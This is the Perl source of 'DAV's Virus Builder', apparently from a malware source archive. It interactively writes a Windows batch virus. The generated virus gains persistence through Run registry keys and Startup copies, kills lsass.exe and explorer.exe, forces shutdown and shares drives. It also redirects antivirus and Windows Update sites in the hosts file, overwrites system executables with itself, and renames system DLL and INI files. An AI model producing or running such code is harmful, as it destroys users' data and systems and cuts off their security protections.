mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
244 lines
9.6 KiB
Plaintext
244 lines
9.6 KiB
Plaintext
# Virus Builder
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# by dav
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$vname = '';
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$vwriter = '';
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$vbsmsgtxt = '';
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$vtime = '';
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print("*******************\n");
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print("DAV's Virus Builder\n");
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print("BAT/VIRUS\n");
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print("*******************\n");
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print("\n");
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print("VirusName?\n");
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chomp ($vname = <STDIN>);
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print("\n");
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print("Author?\n");
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chomp ($vwriter = <STDIN>);
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print("\n");
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open(FH,">virus.bat");
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print FH '@echo off';
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print FH "\n";
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close(FH);
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open(FH,">>virus.bat");
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print FH "rem $vname - Virus\n";
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print FH "rem by $vwriter\n";
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print FH "rem ** generated with dav's virus builder v.1.0 in perl **\n";
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print FH "set dav=echo\n";
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print FH "set davv=copy\n";
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print FH "set davvv=reg add\n";
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print FH "set davvvv=del\n";
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print FH "set davvvvv=net share\n";
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print FH "set davvvvvv=cls\n";
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print FH "set davvvvvvv=taskkill\n";
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print FH "set davvvvvvvv=ren\n";
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print FH "set davvvvvvvvv=call\n";
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print FH "set davvvvvvvvvv=shutdown\n";
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print FH "%davv% %0 %windir%\\vwin.bat > nul";
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print FH "\n";
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close(FH);
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print("*** Startup Methods ***\n");
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print("Autostart/Startup Infect - yes/no?\n");
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chomp ($vstartup = <STDIN>);
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if($vstartup=~m/^(yes|ja|j|y)/i) {
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open(FH,">>virus.bat");
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print FH "chcp 1252 > nul";
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print FH "\n";
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print FH '%davv% %0 "C:\\Dokumente und Einstellungen\\All Users\\Startmenü\\Programme\\Autostart\\win.bat" > nul';
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print FH "\n";
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print FH '%davv% %0 "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\win.bat" > nul';
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print FH "\n";
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close(FH); } else { print "x\n" }
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print("\n");
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print("REGentry(works on all winsys) - yes/no?\n");
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chomp ($regy = <STDIN>);
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if($regy=~m/^(yes|ja|j|y)/i) {
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open(FH,">>virus.bat");
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print FH '%davvv% "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v vwin /t REG_SZ /d "%windir%\vwin.bat" /f > nul';
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print FH "\n";
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print FH '%davvv% "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v vwin /t REG_SZ /d "%windir%\vwin.bat" /f > nul';
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print FH "\n";
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close(FH); } else { print "x\n" }
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print("\n");
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print("*** Virus Main Function ***\n");
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print("Shutdown with time and comment - yes/no?\n");
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chomp ($shutdown = <STDIN>);
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if($shutdown=~m/^(yes|ja|j|y)/i) {
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print("Seconds to restart?\n");
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chomp ($vtime = <STDIN>);
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print("Comment?\n");
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chomp ($vcom = <STDIN>);
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open(FH,">>virus.bat");
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print FH "%davvvvvvvvvv% /s /f /t ";
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print FH "$vtime";
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print FH " ";
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print FH "/c ";
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print FH '"';
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print FH "$vcom";
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print FH '"';
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print FH "\n";
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close(FH); } else { print "x\n" }
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print("\n");
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print("LSASS.exe and EXPLORER.exe Killer - yes/no?\n");
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chomp ($lsass = <STDIN>);
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if($lsass=~m/^(yes|ja|j|y)/i) {
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open(FH,">>virus.bat");
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print FH "%davvvvvvv% /f /im explorer.exe\n";
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print FH "%davvvvvvv% /f /im lsass.exe \n";
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close(FH); } else { print "x\n" }
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print("\n");
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print("Net Share c:, g: ... - yes/no?\n");
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chomp ($netshare = <STDIN>);
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if($netshare=~m/^(yes|ja|j|y)/i) {
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open(FH,">>virus.bat");
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print FH "%davvvvv% c=c:\n";
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print FH "%davvvvv% g=g:\n";
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print FH "%davvvvv% f=f:\n";
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print FH "%davvvvv% y=y:\n";
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close(FH); } else { print "x\n" }
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print("\n");
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print("kill cookies - yes/no?\n");
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chomp ($vcookie = <STDIN>);
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if($vcookie=~m/^(yes|ja|j|y)/i) {
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open(FH,">>virus.bat");
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print FH '%davvvvvvvv% "c:\documents and settings\%username%\cookies\*.txt" *.fUcKeDbYvIrUs > nul';
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print FH "\n";
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print FH '%davvvvvvvv% "C:\Dokumente und Einstellungen\%username%\cookies\*.txt" *.fUcKeDbYvIrUs > nul';
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print FH "\n";
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close(FH); } else { print "x\n" }
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print("\n");
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print("infect hosts file - yes/no?\n");
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chomp ($vhosts = <STDIN>);
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if($vhosts=~m/^(yes|ja|j|y)/i) {
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open(FH,">>virus.bat");
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print FH "%dav% 127.0.0.1 www.google.de >> %windir%\\system32\\drivers\\etc\\hosts\n";
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print FH "%dav% 127.0.0.1 www.google.com >> %windir%\\system32\\drivers\\etc\\hosts\n";
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print FH "%dav% 127.0.0.1 www.symantec.de >> %windir%\\system32\\drivers\\etc\\hosts\n";
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print FH "%dav% 127.0.0.1 www.antivir.de >> %windir%\\system32\\drivers\\etc\\hosts\n";
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print FH "%dav% 127.0.0.1 www.f-secure.com >> %windir%\\system32\\drivers\\etc\\hosts\n";
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print FH "%dav% 127.0.0.1 www.f-secure.de >> %windir%\\system32\\drivers\\etc\\hosts\n";
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print FH "%dav% 127.0.0.1 www.kaspersky.com >> %windir%\\system32\\drivers\\etc\\hosts\n";
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print FH "%dav% 127.0.0.1 www.kaspersky.de >> %windir%\\system32\\drivers\\etc\\hosts\n";
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print FH "%dav% 127.0.0.1 www.nai.com >> %windir%\\system32\\drivers\\etc\\hosts\n";
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print FH "%dav% 127.0.0.1 windowsupdate.microsoft.com >> %windir%\\system32\\drivers\\etc\\hosts\n";
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print FH "%dav% 127.0.0.1 www.symantec.com >> %windir%\\system32\\drivers\\etc\\hosts\n";
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print FH "%dav% 127.0.0.1 www.microsoft.de >> %windir%\\system32\\drivers\\etc\\hosts\n";
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print FH "%dav% 127.0.0.1 www.microsoft.com >> %windir%\\system32\\drivers\\etc\\hosts\n";
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print FH "%dav% 127.0.0.1 www.free-av.com >> %windir%\\system32\\drivers\\etc\\hosts\n";
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print FH "%dav% 127.0.0.1 www.sophos.com >> %windir%\\system32\\drivers\\etc\\hosts\n";
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print FH "%dav% 127.0.0.1 www.sophos.de >> %windir%\\system32\\drivers\\etc\\hosts\n";
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print FH "%davvvvvv%\n";
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close(FH); } else { print "x\n" }
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print("\n");
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print("Random Population - yes/no?\n");
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chomp ($ranpop = <STDIN>);
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if($ranpop=~m/^(yes|ja|j|y)/i) {
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open(FH,">>virus.bat");
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print FH "%davv% %0 %random%.bat\n";
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print FH "%davv% %0 %random%.bat\n";
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print FH "%davv% %0 %random%.bat\n";
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print FH "%davv% %0 %random%.bat\n";
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print FH "%davv% %0 c:\\%random%.bat\n";
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print FH "%davv% %0 c:\\%random%.bat\n";
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print FH "%davv% %0 c:\\%random%.bat\n";
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print FH "%davv% %0 c:\\%random%.bat\n";
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print FH "%davvvvvv%\n";
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print FH '%davv% %0 "C:\\Dokumente und Einstellungen\\All Users\\Startmenü\\Programme\\Autostart\\%random%.bat" > nul';
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print FH "\n";
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print FH '%davv% %0 "C:\\Dokumente und Einstellungen\\All Users\\Startmenü\\Programme\\Autostart\\%random%.bat" > nul';
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print FH "\n";
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print FH '%davv% %0 "C:\\Dokumente und Einstellungen\\All Users\\Startmenü\\Programme\\Autostart\\%random%.bat" > nul';
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print FH "\n";
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print FH '%davv% %0 "C:\\Dokumente und Einstellungen\\All Users\\Startmenü\\Programme\\Autostart\\%random%.bat" > nul';
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print FH "\n";
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print FH '%davv% %0 "C:\\Dokumente und Einstellungen\\All Users\\Startmenü\\%random%.bat" > nul';
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print FH "\n";
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print FH '%davv% %0 "C:\\Dokumente und Einstellungen\\All Users\\Startmenü\\%random%.bat" > nul';
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print FH "\n";
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print FH '%davv% %0 "C:\\Dokumente und Einstellungen\\All Users\\Startmenü\\%random%.bat" > nul';
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print FH "\n";
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print FH '%davv% %0 "C:\\Dokumente und Einstellungen\\All Users\\Startmenü\\%random%.bat" > nul';
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print FH "\n";
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print FH '%davv% %0 "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\%random%.bat" > nul';
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print FH "\n";
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print FH '%davv% %0 "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\%random%.bat" > nul';
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print FH "\n";
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print FH '%davv% %0 "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\%random%.bat" > nul';
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print FH "\n";
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print FH '%davv% %0 "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\%random%.bat" > nul';
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print FH "\n";
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print FH '%davv% %0 "C:\\Documents and Settings\\All Users\\Start Menu\\%random%.bat" > nul';
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print FH "\n";
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print FH '%davv% %0 "C:\\Documents and Settings\\All Users\\Start Menu\\%random%.bat" > nul';
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print FH "\n";
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print FH '%davv% %0 "C:\\Documents and Settings\\All Users\\Start Menu\\%random%.bat" > nul';
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print FH "\n";
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print FH '%davv% %0 "C:\\Documents and Settings\\All Users\\Start Menu\\%random%.bat" > nul';
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print FH "\n";
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close(FH); } else { print "x\n" }
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print("\n");
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print("infect some .exe files - yes/no?\n");
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chomp ($syskiller = <STDIN>);
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if($syskiller=~m/^(yes|ja|j|y)/i) {
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open(FH,">>virus.bat");
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print FH '%davv% %0 %windir%\\system32\\taskmgr.exe > nul';
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print FH "\n";
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print FH '%davv% %0 %windir%\\system32\\winlogon.exe > nul';
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print FH "\n";
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print FH '%davv% %0 %windir%\\system32\\svchost.exe > nul';
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print FH "\n";
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print FH '%davv% %0 %windir%\\system32\\calc.exe > nul';
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print FH "\n";
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close(FH); } else { print "x\n" }
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print("\n");
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print("kill .dll .ini files (** WARNING! **) - yes/no?\n");
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chomp ($syskiller1 = <STDIN>);
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if($syskiller1=~m/^(yes|ja|j|y)/i) {
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open(FH,">>virus.bat");
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print FH '%davvvvvvvv% %0 %windir%\\system32\\*.dll *.-fUcKeD > nul';
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print FH "\n";
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print FH '%davvvvvvvv% %0 %windir%\\system32\\*.ini *.FuCkEd- > nul';
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print FH "\n";
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close(FH); } else { print "x\n" }
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print("\n");
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print("VBS Messagebox - yes/no?\n");
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chomp ($vbsmsg = <STDIN>);
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if($vbsmsg=~m/^(yes|ja|j|y)/i) {
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print("Message?\n");
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chomp ($vbsmsgtxt = <STDIN>);
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open(FH,">>virus.bat");
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print FH '%dav% MsgBox "';
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print FH "$vbsmsgtxt";
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print FH '", 16, "ViRuS!!!" > msg.vbs';
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print FH "\n";
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print FH "%davvvvvvvvv% msg.vbs\n";
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close(FH); } else { print "x\n" }
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print("\n");
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open(FH,">>virus.bat");
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print FH "goto ende\n";
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print FH ":ende\n";
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close(FH);
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print("\n");
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while ($cya ne 'exit') {
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print "*** VIRUS.BAT BUILT ***\n";
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print "*** DON'T SPREAD YOUR VIRUS. ***\n";
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print "*** I AM NOT RESPONSIBLE FOR POSSIBLE DAMAGES OR SOMETHING ELSE. ***\n";
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print "*** exit to quit ***\n";
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chomp ($cya = <STDIN>);
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print "\n"; } |